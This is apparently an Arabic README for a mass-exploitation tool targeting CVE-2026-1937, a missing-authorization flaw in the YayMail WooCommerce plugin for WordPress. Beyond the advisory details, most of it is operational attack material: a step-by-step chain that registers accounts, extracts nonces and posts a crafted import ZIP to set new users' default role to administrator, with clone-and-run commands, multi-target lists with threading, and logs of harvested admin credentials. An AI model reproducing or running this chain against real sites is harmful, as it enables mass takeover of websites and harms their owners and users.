
YayMail <= 4.3.2 - نقص التفويض يسمح للمستخدمين المصادق عليهم (مدير المتجر+) بتحديث الخيارات بشكل تعسفي عبر إجراء AJAX 'yaymail_import_state'
| الحقل | التفاصيل |
|---|---|
| معرّف CVE | CVE-2026-1937 |
| الخطورة | عالية (HIGH) — درجة CVSS v3.1: 7.2 |
| متجه الهجوم | CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H |
| الجهة المبلِّغة (CNA) | Wordfence |
| الباحث | Daniel Basta (whizzu) — NASK PIB |
| تاريخ النشر العام | 17 فبراير 2026 |
| آخر تحديث | 27 مارس 2026 |
| البرنامج المتأثر | YayMail – WooCommerce Email Customizer Plugin for WordPress |
| الإصدارات المتأثرة | جميع الإصدارات حتى 4.3.2 وما دون |
| نوع الثغرة | غياب التفويض → تحديث خيارات تعسفي غير مصرّح به → تصعيد الامتيازات |
| مصادقة مطلوبة | نعم — بمستوى Shop Manager أو أعلى |
| CWE | CWE-862: Missing Authorization |
الوصف:
يحتوي إضافة YayMail – WooCommerce Email Customizer لووردبريس على ثغرة تعديل غير مصرّح به للبيانات تؤدي إلى تصعيد الامتيازات في جميع الإصدارات حتى 4.3.2 وما دون. يتم تسجيل إجراء AJAX باسم yaymail_import_state بدون أي فحص للصلاحيات على مستوى الخادم، مما يسمح للمهاجمين المصادقين بصلاحيات Shop Manager-level أو أعلى باستدعائه بحرية. عبر رفع ملف استيراد ZIP مُعدّ بعناية، يمكن للمهاجم استبدال خيارات ووردبريس التعسفية بصمت — بما في ذلك تعيين دور تسجيل المستخدمين الجدد الافتراضي إلى administrator وتفعيل التسجيل العام المفتوح. وبمجرد حقن هذه الخيارات، يمكن لأي زائر تسجيل نفسه في الموقع والحصول على حساب مدير ووردبريس (WordPress Administrator) كامل، مما يؤدي إلى اختراق كامل للموقع.
هذه سلسلة استغلال جماعي (PoC) لإثبات المفهوم تستهدف تثبيتات WordPress + WooCommerce التي تشغّل إصدارًا ضعيفًا من إضافة YayMail. تنفّذ الأداة هجومًا متكاملًا من البداية إلى النهاية: تسجيل WooCommerce ← تسجيل الدخول ← استخراج nonce الخاص بـ YayMail ← استغلال yaymail_import_state ← التحقق من صلاحيات المدير.
[المرحلة 1 — التسجيل]
GET /my-account/ → استخراج nonce تسجيل WooCommerce
POST /my-account/ → تسجيل حساب جديد (نموذج WooCommerce)
→ حفظ بيانات الاعتماد في reg.txt
↓
[المرحلة 2 — تسجيل الدخول]
POST /wp-login.php → محاولة تسجيل الدخول الأصلي لووردبريس
POST /my-account/ (WooC.) → تسجيل دخول WooCommerce الاحتياطي
→ إنشاء جلسة مصادَق عليها
↓
[المرحلة 3 — فحص مسبق للمدير]
GET /wp-admin/ → إذا كان بالفعل مديرًا، انتقل إلى النتيجة
↓
[المرحلة 4 — استغلال YayMail]
GET /wp-admin/admin.php?page=yaymail-settings
→ استخراج: ajax_url + nonce
POST /wp-admin/admin-ajax.php
action=yaymail_import_state
nonce=<nonce_المستخرج>
import_file=yaymail_backup.zip
→ استبدال خيارات ووردبريس:
· default_role = administrator
· users_can_register = 1
↓
[المرحلة 5 — التحقق من صلاحيات المدير]
GET /wp-admin/ → فحص قائمة الإدارة / شريط الإدارة
GET /wp-admin/users.php → تأكيد الوصول إلى manage_options
↓
[الحفظ في Nx_admin.txt]
الصيغة: [timestamp] https://target.com user:<u> pass:<p>
yaymail_backup.zip — حمولة الاستيراد المخصصة (مطلوبة)pip install requests urllib3 rich
أو عبر ملف المتطلبات:
pip install -r requirements.txt
requirements.txt:
requests>=2.28.0
urllib3>=1.26.0
rich>=13.0.0
# Clone the repository
git clone https://github.com/Nxploited/CVE-2026-1937.git
cd CVE-2026-1937
# Install dependencies
pip install -r requirements.txt
# Place your crafted import payload in the same directory
cp /path/to/yaymail_backup.zip .
# Run the tool
python3 CVE-2026-1937.py
python3 CVE-2026-1937.py
تستخدم الأداة واجهة طرفية تفاعلية بالكامل مدعومة بـ Rich.
أنشئ ملفًا نصيًا عاديًا (الافتراضي: list.txt) — هدف واحد في كل سطر:
https://target1.com
https://target2.com
http://target3.com
target4.com
الأهداف التي لا تحتوي على
http://أوhttps://تُضاف إليها تلقائيًا بادئةhttps://.
Username [Nx_admin]: Nx_admin
Password [Nx_adminSA]: Nx_adminSA
Email [[email protected]]: [email protected]
Targets file [list.txt]: list.txt
Threads [3]: 5
HTTP timeout (seconds) [10]: 10
yaymail_backup.zipيتطلب الاستغلال ملف استيراد YayMail ZIP مخصصًا يستبدل خيارات ووردبريس التالية عند استيراده:
| خيار ووردبريس | القيمة المُحقَنة |
|---|---|
default_role | administrator |
users_can_register | 1 |
⚠️ سترفض الأداة العمل إذا لم يكن
yaymail_backup.zipموجودًا في دليل العمل.
POST /wp-admin/admin-ajax.php
action=yaymail_import_state
nonce=<مستخرج_من_صفحة_إعدادات_yaymail>
import_file=yaymail_backup.zip (multipart upload)
السبب الجذري:
لا يقوم معالج yaymail_import_state باستدعاء current_user_can() أو أي فحص صلاحيات مكافئ قبل معالجة الاستيراد. يمكن لأي مستخدم يملك دور shop_manager (أو أعلى) استدعاء هذا الإجراء بحرية واستبدال إدخالات جدول wp_options التعسفية عبر آلية استيراد ZIP.
تقوم الأداة بمسح المسارات التالية تلقائيًا بحثًا عن نماذج التسجيل وتسجيل الدخول:
/my-account/ /my_account/ /My-account/
/account/ /myaccount/ /customer-login/
/login/ /register/ /sss/
| الملف | الوصف |
|---|---|
reg.txt | جميع عمليات تسجيل WooCommerce الناجحة مع بيانات الاعتماد |
Nx_admin.txt | جميع حالات تصعيد صلاحيات المدير المؤكدة |
reg.txt:
[2026-03-01 14:22:10] https://target.com user:Nx_admin email:[email protected] pass:Nx_adminSA
Nx_admin.txt:
[2026-03-01 14:22:18] https://target.com user:Nx_admin pass:Nx_adminSA | yaymail import
╔══════════════════════════════════════════════════════════════════╗
║ WooCommerce · YayMail · Mass Exploit Chain ║
║ By: Nxploited | GitHub: github.com/Nxploited | @Kxploit ║
╚══════════════════════════════════════════════════════════════════╝
[SCAN] https://target.com
[REGISTERED] https://target.com :: user: Nx_admin pass: Nx_adminSA
[LOGIN-WP] https://target.com :: wp-login.php
[SEARCH-NONCE] https://target.com :: not admin, trying YayMail chain
[NONCE-FOUND] https://target.com :: nonce: a1b2c3d4e5
[EXPLOIT] https://target.com :: nonce: a1b2c3d4e5
[SUCCESS] https://target.com :: user: Nx_admin pass: Nx_adminSA